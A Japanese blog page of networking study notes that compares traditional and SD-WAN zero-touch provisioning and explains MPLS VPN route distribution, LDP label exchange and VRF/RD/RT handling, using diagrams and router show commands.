<p class="wp-block-paragraph">正直、従来環境でもZTPはできていた。従来の普通のルータ（制御と転送が一体化している機器）でも、DHCP Option 66/67やTFTP/FTPサーバーを使って「電源を入れたら自動で設定ファイルをダウンロードして適用する」というZTP（自動構築）の仕組みは存在していた。しかし、それはあくまでも<span class="blue">静的なコマンド投入</span>である。<br>一方、SD-WANはコマンドではなく、ポリシーをZTPで配布している。そして、そのポリシーを解釈して実際に動作に落とし込むのはSD-WANルータ自体の仕事。つまり、<span class="blue">動的な設定を投入する</span>ことができるようになったということが従来とSD-WANでは違う。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>従来型ルータのZTP（制御・転送が一体）</strong></td><td><strong>SD-WANのZTP（制御・転送が分離）</strong></td></tr></thead><tbody><tr><td><strong>機器の役割</strong></td><td>1台ごとに自立した「脳（制御）」を持つ</td><td>機器は「体（転送）」のみ。脳はクラウド（コントローラー）</td></tr><tr><td><strong>流し込むデータ</strong></td><td>完成された<strong>個別の静的コンフィグ</strong>（CLIコマンドの塊）</td><td>ポリシー情報や識別情報などの<strong>動的なパラメータ</strong>（JSON/XML等）</td></tr><tr><td><strong>接続後の運用</strong></td><td>設定適用後は<strong>単体動作</strong>。変更時は再度個別に設定を書き換える</td><td>コントローラーと常に繋がり、<strong>集中制御・リアルタイム変更</strong>を受け続ける</td></tr><tr><td><strong>メッシュ接続</strong></td><td>全拠点とVPNを張る場合、事前またはZTPで巨大な設定を書き込む必要あり</td><td>コントローラーが仲介し、<strong>全拠点間のIPsecトンネルを動的・自動生成</strong>する</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc15">Q.ってか、、そもそもWANって何？</span></h3>



<p class="wp-block-paragraph">A.「自社の敷地や所有設備を出た外側の領域全体」をWAN（Wide Area Network）という。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>区分</strong></td><td><strong>範囲と所有権</strong></td><td><strong>具体例</strong></td></tr></thead><tbody><tr><td><strong>LAN</strong></td><td>自社・自組織が<strong>所有・管理する敷地内</strong>のネットワーク</td><td>オフィスのLANケーブル、社内Wi-Fi、フロアスイッチ、自社ビル内のネットワーク</td></tr><tr><td><strong>WAN</strong></td><td>敷地外に出て、<strong>電気通信事業者（キャリア）の設備を借りて</strong>接続する広域ネットワーク</td><td>MPLS VPN、広域イーサネット、インターネット、IP-VPN</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc16">Q.SD-WANのインターネット通信に対するアプローチはどういう感じ？</span></h3>



<p class="wp-block-paragraph">SD-WANルータは基本的にSD-WANコントローラの制御に従う。これは当たり前だが、SD-WANコントローラ配下の拠点間だから成立する。しかし、インターネット接続（Google、Yahhoo、一般Webサーバ）の場合は、それらのサーバはSD-WANコントローラ配下にはない。なので、通常の拠点間通信とは異なるアプローチによって経路が選択される。</p>



<p class="wp-block-paragraph"><strong>▼拠点間通信とインターネット通信の違い</strong></p>



<p class="wp-block-paragraph"><strong>SD-WANコントローラー配下の拠点間通信（自社拠点 ⇔ 自社拠点）</strong></p>



<ul class="wp-block-list">
<li><strong>アプローチ:</strong> <strong>「双方向の協調制御」</strong></li>



<li><span class="fz-16px">送信側と受信側の両方にSD-WANルータ（CE機器）が存在。</span></li>



<li><span class="fz-16px">お互いに制御パケット（BFDなど）を送り合うことで、遅延・パケットロス・ジッターを<strong>双方向でリアルタイム測定</strong>し、コントローラーが定めたポリシーに従って最適なトンネル（IPsec）へパケットを動的に流す。</span></li>
</ul>



<p class="wp-block-paragraph"><strong>インターネット通信（自社拠点 ➔ 一般Webサーバ / SaaSなど）</strong></p>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>アプローチ:</strong> <strong>「片側（送信側ルータのみ）での単独制御」</strong></span></li>



<li><span class="fz-16px">相手（Google、Yahoo!、Microsoft 365など）は自社のSD-WANコントローラーの制御配下にはない。</span></li>



<li><span class="fz-16px">そのため、送信側のSD-WANルータが単独でアプリケーションを識別（DPI）したり、<strong>片道のレスポンス速度を測定</strong>したりして、「自社の出口回線（MPLS経由か、一般インターネット回線へのローカルブレイクアウトか）」をポリシーに基づいて判断・選択する。</span></li>
</ul>



<p class="wp-block-paragraph"><strong>▼取得できる情報の違い</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>拠点間通信（双方にSD-WANルータあり）</strong></td><td><strong>インターネット通信（相手は一般Web等）</strong></td></tr></thead><tbody><tr><td><strong>取得できる情報</strong></td><td>① <strong>リアルタイム片道/往復遅延（ミリ秒）</strong><br>② <strong>精密なパケットロス率（%）</strong><br>③ <strong>ジッター（遅延の揺らぎ・MS）</strong><br>④ <strong>対向ルータのCPU/帯域負荷状況</strong></td><td>① <strong>リンクの物理UP/DOWN状態</strong><br>② <strong>自社出口でのHTTP/DNS応答時間</strong><br>③ <strong>自社側回線の利用率（帯域使用率）</strong><br>④ <strong>アプリの種類（DPI識別：Teams, YouTube等）</strong></td></tr><tr><td><strong>情報の取得方法</strong></td><td>双方で専用の制御用プローブパケット（BFDなど）を<strong>高頻度（例：100ms周期）で直接打ち合う</strong>。</td><td>相手がプローブに応答しないため、<strong>自ルータを通過する通常のデータ通信のレスポンス</strong>を観測する。</td></tr><tr><td><strong>情報の正確性</strong></td><td><strong>極めて高い（双方向の完璧な数値）</strong><br>「行きは良いが帰りの回線が混んでいる」といった<strong>片道障害</strong>も正確に検知。</td><td><strong>限定的（片側・推定）</strong><br>相手サーバーや途中のインターネット網内の混雑か、自社の回線品質劣化かの切り分けが困難。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc17">Q.もし回線が1つしかなかったらSD-WANを導入する意味なくね？</span></h3>



<p class="wp-block-paragraph">Q1.そもそもSD-WANの目的はポリシーによって動的な経路制御をすることである。しかし、そもそもの回線が１つしかなかったら、動的に経路制御しようと思っても結局１つしか道がないんだからポリシーによる動的制御しても意味なくね？<br>Q2.また、ZTPに至っても、自社で初期の設定コマンドなどのコンフィグを自社サーバなどに配置して、起動時にそれを取得するようにハードコーディングしておけば、それによって一元的なポリシー割り当ても可能になるのでは？<br>ということから、回線が１つであればSD-WANを導入する意味ってなくね？</p>



<p class="wp-block-paragraph">A.では、疑問を一つずつ答えていこう！<br>A1.<strong>「回線が1本なら動的ルーティング（経路切替）の意味がない」</strong> ⇒ <strong>【100% 正解】</strong> 逃げ道の回線がない以上、どれだけリアルタイムに遅延やパケットロスを検知しても、その回線を通すしかない。</p>



<p class="wp-block-paragraph">A2.<strong>「ZTP（ゼロタッチ）や一括設定投入だけなら、SD-WANじゃなくてもできる」</strong> ⇒ <strong>【100% 正解】</strong> 従来のルータでもDHCP/TFTPやAnsible等の構成管理ツール、独自ZTPサーバーを使えば初期設定の一括配布は可能。</p>



<h3 class="wp-block-heading"><span id="toc18">Q.では、回線1本でもSD-WANを入れるメリットとは何か？</span></h3>



<p class="wp-block-paragraph">「回線が1本」という条件であっても、SD-WAN（クラウドコントローラーによる一元管理）を導入するメリットは主に<strong>3つ</strong>ある。</p>



<p class="wp-block-paragraph"><strong>① 「ZTPそのもの」ではなく「開通後の継続的な集中管理（Day 2 Operation）」</strong><br>　従来のZTP（TFTP等）は「最初の設定を入れる時（Day 1）」だけの仕組み。 開通後に「セキュリティポリシーを変更したい」「新しい通信を許可したい」となった場合、従来方式では全拠点のルータに個別ログイン（CLI）して設定変更を打ち込む必要がある。 SD-WANであれば、コントローラーのUI上でポリシーを1回変更するだけで、<strong>全国100拠点のルータへ一瞬で変更が波及・同期</strong>される。</p>



<p class="wp-block-paragraph"><strong>② 「アプリの可視化」と「優先度制御（QoS）」</strong><br>　回線が1本しかないからこそ、<strong>帯域の奪い合い</strong>が発生する。</p>



<ul class="wp-block-list">
<li><strong>状況：</strong> 1本しかない回線で、誰かが巨大なファイルをダウンロードして帯域を圧迫した。</li>



<li><strong>SD-WANの動作：</strong> アプリケーション識別（DPI）機能により、「Web会議（Teams等）」のパケットを最優先し、「ファイルダウンロードや動画視聴」の帯域を動的に制限（QoS）する。 経路変更はできなくても、「1本の回線の中でどのアプリを優先して通すか」という帯域制御（シェーピング）が強力に働く。</li>
</ul>



<p class="wp-block-paragraph"><strong>③ セキュリティ連携（SASE / SSE への発展性）</strong><br>　現在、1回線（インターネットVPN）の拠点でSD-WANを入れる最大の理由は<strong>クラウドプロキシ（ZscalerやPalo Alto Prisma Access等）との自動連携</strong>。</p>



<ul class="wp-block-list">
<li><strong>ローカルブレイクアウトの簡略化：</strong> クラウド型セキュリティ（SASE）へ通信を飛ばすための暗号化トンネルの設定や、IPアドレス変更への自動追従をコントローラーがすべて自動で行ってくれる。</li>
</ul>



<h3 class="wp-block-heading"><span id="toc19">p.9 MPLSとは?&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="831" height="143" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-19.png" alt="" class="wp-image-8129" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-19.png 831w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-19-300x52.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-19-767x132.png 767w" sizes="(max-width: 831px) 100vw, 831px" /></figure>



<p class="wp-block-paragraph">MPLS（Multi-Protocol Label Switching）とはIPヘッダの宛先IPアドレスを見る代わりに、パケットに付与した短い『ラベル』を見て超高速に転送（スイッチング）する技術。<br><span class="fz-18px"><span class="fz-20px"><strong>しかし</strong></span></span>、現在のルータではMPLSと同等レベルの転送処理が可能になってきているので、高速転送というメリットは薄くなってきている。</p>



<h3 class="wp-block-heading"><span id="toc20">p.9 MPLSとMPLS VPNの違いは？</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>普通のMPLS</strong></td><td><strong>MPLS VPN</strong></td></tr></thead><tbody><tr><td><strong>主な目的</strong></td><td>パケットの高速転送・特定経路への迂回</td><td><strong>複数企業の通信を絶対に混ざらないように完全分離（仮想化）</strong></td></tr><tr><td><strong>付与するラベルの数</strong></td><td><strong>1つ（シングルラベル）</strong></td><td><strong>2つ（ダブルラベル / 2重ラベル）</strong></td></tr><tr><td><strong>VRFの有無</strong></td><td>なし（テーブルは1つ）</td><td><strong>あり（企業ごとに独立したルーティングテーブルを作成）</strong></td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc21">Q.MPLS VPNのフローは？&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></h3>



<p class="wp-block-paragraph">G社の本社CEから支店CEへ「10.1.0.0/24（本社）」の経路を教える流れを見ていこう！</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="[本社CE] ➔(eBGP/OSPF)➔ [PE-1] ➔=== (MP-BGP) ===➔ [PE-2] ➔(eBGP/OSPF)➔ [支店CE]" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">[本社CE] ➔(</span><span style="color: #A6E22E">eBGP/OSPF</span><span style="color: #F8F8F2">)➔ [PE-1] ➔=== (</span><span style="color: #A6E22E">MP-BGP</span><span style="color: #F8F8F2">) ===➔ [PE-2] ➔(</span><span style="color: #A6E22E">eBGP/OSPF</span><span style="color: #F8F8F2">)➔ [支店CE]</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>1. コントロールプレーン（経路広告のフロー）</strong><br>①<strong>アンダーレイ構築：</strong> <br><span class="fz-16px">　PE-1、P（中継）、PE-2 間でOSPF/IS-ISとLDPを動かし、事業者網内の全ルータが「PE-1やPE-2のループバックIP」へ届く状態（トランスポートラベル）を作る。</span><br>②<strong>CE ➔ PE-1（経路の受領）：</strong> <br><span class="fz-16px">　本社CEがPE-1の「G社用VRF」へ <code>10.1.0.0/24</code> を広告。</span><br><strong>③PE-1 での加工（VPNv4化）：</strong> <br>　PE-1は受け取った <code>10.1.0.0/24</code> に以下を付与する。<br>　　・<strong>RD</strong>をくっつけて「一意なVPNv4アドレス（例: <code>65000:1:10.1.0.0/24</code>）」に変換。<br>　　・RT（エクスポートタグ）を付与。<br>　　・G社用VRF宛てであることを示す「VPNラベル（内側ラベル）」を自動採番。</p>



<p class="wp-block-paragraph">④<strong>PE-1 ➔ PE-2（MP-BGPで広告）：</strong> PE-1は対向のPE-2へ、MP-BGPを使って上記の情報を一括送信。</p>



<p class="wp-block-paragraph">⑤<strong>PE-2 での取り込み：</strong> PE-2は届いたRTタグを見て「G社用VRF」に合致することを確認。RDを外して元の <code>10.1.0.0/24</code> に戻し、G社用VRFのルーティングテーブルへ登録。</p>



<p class="wp-block-paragraph"><strong>⑥PE-2 ➔ 支店CE：</strong> 支店CEへ <code>10.1.0.0/24</code> を広告。</p>



<h3 class="wp-block-heading"><span id="toc22">2. データプレーン（実際の通信フロー）</span></h3>



<p class="wp-block-paragraph">支店CEから本社（<code>10.1.0.0/24</code>）へパケットを送る際の流れです。</p>



<ol start="1" class="wp-block-list">
<li><strong>支店CE ➔ PE-2：</strong> 普通のIPパケット（宛先: <code>10.1.0.1</code>）をPE-2のG社用VRF宛てに送信。</li>



<li><strong>PE-2 での2重ラベル付与：</strong>
<ul class="wp-block-list">
<li><strong>内側（VPNラベル）：</strong> MP-BGPでPE-1から教えてもらった「G社VRF識別用ラベル」を貼る。</li>



<li><strong>外側（トランスポートラベル）：</strong> LDPで知った「PE-1（目的地）まで運ぶためのラベル」を貼る。</li>
</ul>
</li>



<li><strong>Pルータ（中継）：</strong> <strong>外側ラベルだけ</strong>を見て、ラベルを付け替えながらPE-1へ超高速転送（内側ラベルやIPヘッダは見ない）。</li>



<li><strong>PE-1 到着：</strong>
<ul class="wp-block-list">
<li>外側ラベルが剥がれ（※直前のPルータで剥がれるPHP機能が一般的）、PE-1には「内側ラベル＋IPパケット」が届く。</li>



<li>PE-1は内側ラベルを見て「これはG社VRF行きだ」と判断し、<strong>ラベルを剥がして</strong>G社VRFのルーティングテーブルを参照。</li>
</ul>
</li>



<li><strong>PE-1 ➔ 本社CE：</strong> 生のIPパケットとして本社CEへ渡す。</li>
</ol>



<h3 class="wp-block-heading"><span id="toc23">LDPのメカニズム＆フロー</span></h3>



<p class="wp-block-paragraph">OSPFで経路ができた後、LDP（Label Distribution Protocol）がどうやってラベルのバケツリレー表を作り上げるのか、そのメカニズムをステップ順に解説します。</p>



<p class="wp-block-paragraph"><strong>▼前提コンポーネント<br></strong>　CE1（本社） / CE2（支店）： 顧客（G社）のルータ<br>　PE1 / PE2： 事業者（L社）のエッジルータ（VRFを設定）<br>　P： 事業者（L社）のコア中継ルータ（VRFは存在しない）</p>



<h4 class="wp-block-heading"><span id="toc24">ステップ1：アンダーレイIGP（OSPF/IS-IS）の確立</span></h4>



<p class="wp-block-paragraph"><span class="fz-16px">　・事業者内のルータ（PE1, P, PE2）間でOSPFまたはIS-ISを起動。<br>　・これにより、事業者網内の全ルータが「互いのIPアドレス（Loopback等）」に届く状態を作る。</span></p>



<h4 id="label-step2" class="wp-block-heading"><span id="toc25">ステップ2：LDPによるトランスポートラベル（外側）の配布</span></h4>



<p class="wp-block-paragraph" id="label-step2"><span class="fz-16px">　・LDP（Label Distribution Protocol）が起動し、IGPで学習した宛先（特にPEのLoopback IP）に対してラベルを割り当てる。<br>　・動作： 下流（PE2）から上流（PE1）に向かって、「PE2宛てのパケットはラベルXで送ってくれ」とバケツリレー式にラベル情報（外側ラベル）を伝播し、全ルータにLFIB（ラベル転送表）を構築する。（このプロセスの<a href="#out-label">わかりやすい具体例はこちら</a>）</span></p>



<h4 class="wp-block-heading"><span id="toc26">ステップ3：PEルータでのVRF・RD・RTの設定</span></h4>



<p class="wp-block-paragraph"><span class="fz-16px">　・PE1およびPE2に顧客（G社）用の仮想ルータ（<strong>VRF</strong>）を作成する。<br>　・<strong>RD（Route Distinguisher）：</strong> 他社とIPが重複しても一意に識別できるよう、IPプレフレフィックスの先頭に付与する（例：<code>65000:1</code> + <code>10.1.0.0/24</code> ➔ <code>65000:1:10.1.0.0/24</code> という<strong>VPNv4アドレス</strong>を生成）。<br>　・<strong>RT（Route Target）：</strong> どのVRFに経路を取り込むかを制御するタグ（Export/Importルール）を設定する。</span></p>



<h4 class="wp-block-heading"><span id="toc27">ステップ4：CE ➔ PE 間の経路学習</span></h4>



<p class="wp-block-paragraph"><span class="fz-16px">　・CE1（顧客G社本社）が自身の持つ経路（<code>10.1.0.0/24</code>）をPE1へ広告する（eBGPやOSPF等を使用）。<br>　・PE1は届いた経路を「G社用VRF」のルーティングテーブルに登録する。</span></p>



<h4 id="label-step5" class="wp-block-heading"><span id="toc28">ステップ5：PE1でのVPNラベル（内側）自動採番とMP-BGP広告</span></h4>



<p class="wp-block-paragraph"><span class="fz-16px">　・PE1は、顧客G社VRF宛てを引き込むためのVPNラベル（内側ラベル、例: <code>1001</code>）を内部で自動生成する。<br>　・PE1はPE2に対して、MP-BGP（iBGP）を使って以下の情報をセットで広告します。<br>　　・<strong>VPNv4アドレス：</strong> <code>65000:1:10.1.0.0/24</code><br>　　・<strong>ネクストホップ：</strong> PE1のIPアドレス<br>　　・<strong>内側ラベル：</strong> <code>1001</code><br>　　<strong>・RTタグ：</strong> <code>Export RT</code>（例: <code>65000:100</code>）</span><br>　　・内側ラベルの<a href="#inside-label">わかりやすいプロセスはこちら</a></p>



<p class="wp-block-paragraph"><strong>ステップ6：PE2でのRT照合とVRFへの取り込み</strong></p>



<ul class="wp-block-list">
<li>PE2はMP-BGPで受信した経路のRTタグ（<code>65000:100</code>）を確認します。</li>



<li>自身のVRFに設定された<code>Import RT</code>と一致したため、RDを取り除いて普通のIPv4（<code>10.1.0.0/24</code>）に戻し、G社用VRFテーブルへ登録します。</li>



<li>PE2はG社VRFからCE2（支店）へこの経路を広告します。</li>
</ul>



<h3 id="out-label" class="wp-block-heading"><span id="toc29">▼外側ラベルの配布メカニズム＆フロー</span></h3>



<p class="wp-block-paragraph">直感的に理解できるように、ルータを1列に並べた超シンプルな具体例で解説していこう！<br>＊ルータが4台一直線に並んでいる場合</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="目的は、PE1からゴールである「PE2（IP: 2.2.2.2）」へパケットを届けること。
[PE1] ─── [P1] ─── [P2] ─── [PE2]" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">目的は、PE1からゴールである「PE2（IP:</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2.2</span><span style="color: #E6DB74">.2.2）」へパケットを届けること。</span></span>
<span class="line"><span style="color: #F8F8F2">[PE1] ─── [P1] ─── [P2] ─── [PE2]</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>▼LDPのバケツリレー（ラベルの通知フロー）</strong><br>LDPはゴールのPE2から始まって、下流から上流へ向かってメッセージを送っていく。</p>



<p class="wp-block-paragraph"><strong>① PE2 ➔ P2 への通知</strong><br><span class="fz-16px">　・<strong>PE2の主張：</strong> 「P2さん、僕（<code>2.2.2.2</code>）宛ての荷物を持ってくるときは、<strong>ラベル10</strong>を貼って渡してね！」<br>　・<strong>P2の処理：</strong> P2はメモする。<br>　　<code>[メモ：PE2（2.2.2.2）に行くなら ➔ ラベル10を貼ってPE2へ投げる]</code></span></p>



<p class="wp-block-paragraph"><strong>② P2 ➔ P1 への通知</strong> <br><span class="fz-16px">　ここが疑問のコア！P2は「ラベル10」をそのままP1に教えるのではなく、<strong>P2自身が新しい番号（ラベル20）を勝手に決めて</strong>P1に伝える。<br>　・<strong>P2の主張：</strong> 「P1さん、PE2（<code>2.2.2.2</code>）宛ての荷物があるなら、僕には<strong>ラベル20</strong>を貼って渡してね！」<br>　・<strong>P1の処理：</strong> P1はメモする。<br>　　<code>[メモ：入力ラベル20が来たら ➔ ラベル10に付け替えてP2へ投げる]</code></span></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="[PE1] ーーーーーーーーーーー [P1] ーーーーーーーーーーー [P2] ーーーーーーーーーーー [PE2]
      ←2.2.2.2はラベル30　　　　　←2.2.2.2はラベル20　　　　←2.2.2.2はラベル10
                      " style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">[PE1] ーーーーーーーーーーー [P1] ーーーーーーーーーーー [P2] ーーーーーーーーーーー [PE2]</span></span>
<span class="line"><span style="color: #F8F8F2">      </span><span style="color: #A6E22E">←2.2.2.2はラベル30　　　　　←2.2.2.2はラベル20　　　　←2.2.2.2はラベル10</span></span>
<span class="line"><span style="color: #F8F8F2">                      </span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>③ P1 ➔ PE1 への通知</strong> <br><span class="fz-16px">　P1も同じように、自分専用の新しい番号（ラベル30）を決めてPE1に伝える。<br>　・<strong>P1の主張：</strong> 「PE1さん、PE2（<code>2.2.2.2</code>）宛ての荷物は、僕には<strong>ラベル30</strong>を貼って渡してね！」　<br>　・<strong>PE1の処理：</strong> PE1はメモする。<br>　　<code>[メモ：PE2（2.2.2.2）行きパケット ➔ ラベル30を貼ってP1へ投げる]</code></span></p>



<p class="wp-block-paragraph">▼実際のデータ（パケット）が流れる<br>全ルータが「隣のルータから指定されたラベル」に貼り替えながら投げるので、パケットは無事に届きくようになる。</p>



<ol start="1" class="wp-block-list">
<li><strong>PE1：</strong> PE2行きのパケットに、P1から頼まれた「ラベル30」を貼ってP1に投げる。<br>＊<span class="fz-16px"><span class="blue">入り口部分のPEルータでは、IPアドレスも確認する</span>。そして、「あ、このIPアドレス宛はこのラベルだなと」判断してラベルを付与。以降のPルータはラベルのみで転送する。</span></li>



<li><strong>P1：</strong> 「30」が届いたので、P2から頼まれた「ラベル20」に貼り替えてP2に投げる。</li>



<li><strong>P2：</strong> 「20」が届いたので、PE2から頼まれた「ラベル10」に貼り替えてPE2に投げる。</li>



<li><strong>PE2：</strong> 「10」が届いたので、自分宛てだと分かって受領する。</li>
</ol>



<p class="wp-block-paragraph"><a href="#label-step2">👆ステップ２の解説に戻る</a></p>



<h3 id="inside-label" class="wp-block-heading"><span id="toc30">▼内側ラベルの配布メカニズム＆フロー</span></h3>



<p class="wp-block-paragraph" id="inside-label"><span class="fz-16px">出口側であるPE1（本社側）が顧客網（CE1）から経路を学習し、入口側であるPE2（支店側）へ内側ラベルを配るまでの流れを見ていこう。</span></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="[CE1] ーーーーーー [PE1] ーーーーーー [P1] ーーーーーー [P2] ーーーーーー [PE2]
              " style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">[CE1] ーーーーーー [PE1] ーーーーーー [P1] ーーーーーー [P2] ーーーーーー [PE2]</span></span>
<span class="line"><span style="color: #F8F8F2">              </span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>1.PE1：CE1からIPv4経路を学習:</strong><br><span class="fz-16px">　VRF内での処理。<br>　・PE1は、接続されているCE1（顧客本社）から普通のIPv4経路（例: <code>10.1.0.0/24</code>）を学習し、顧客A用のVRF-Aに登録する。<br>　・<strong>検証:</strong> PE1の <code>show ip route vrf VRF-A</code> で <code>10.1.0.0/24</code> が見えれば成功。</span></p>



<p class="wp-block-paragraph"><strong>2.PE1：VPNv4アドレスへの変換と内側ラベルの採番:</strong><br><span class="fz-16px">　・MP-BGPでの処理。<br>　・PE1は、この経路を対向のPE2へ通知するために次のように加工。</span></p>



<ol start="1" class="wp-block-list">
<li><span class="fz-16px"><strong>RDの付与:</strong> IPv4経路の頭にRDを結合し、<strong>VPNv4アドレス</strong>に変換する（<code>65001:100 : 10.1.0.0/24</code>）。</span></li>



<li><span class="fz-16px"><strong>内側ラベルの採番:</strong> このVRF-A宛て専用の内側ラベル（例: <code>1001</code>）を自前で1つ割り当てる。</span></li>



<li><span class="fz-16px"><strong>RT（Export RT）の付与:</strong> 判定用のRTタグ（例: <code>65001:10</code>）を付与する。</span></li>
</ol>



<p class="wp-block-paragraph">　・<span class="fz-16px"><strong>検証:</strong> PE1のBGPテーブル（<code>show bgp vpnv4 unicast all</code>）で、VPNv4経路にラベル <code>1001</code> が紐付いていれば成功。</span></p>



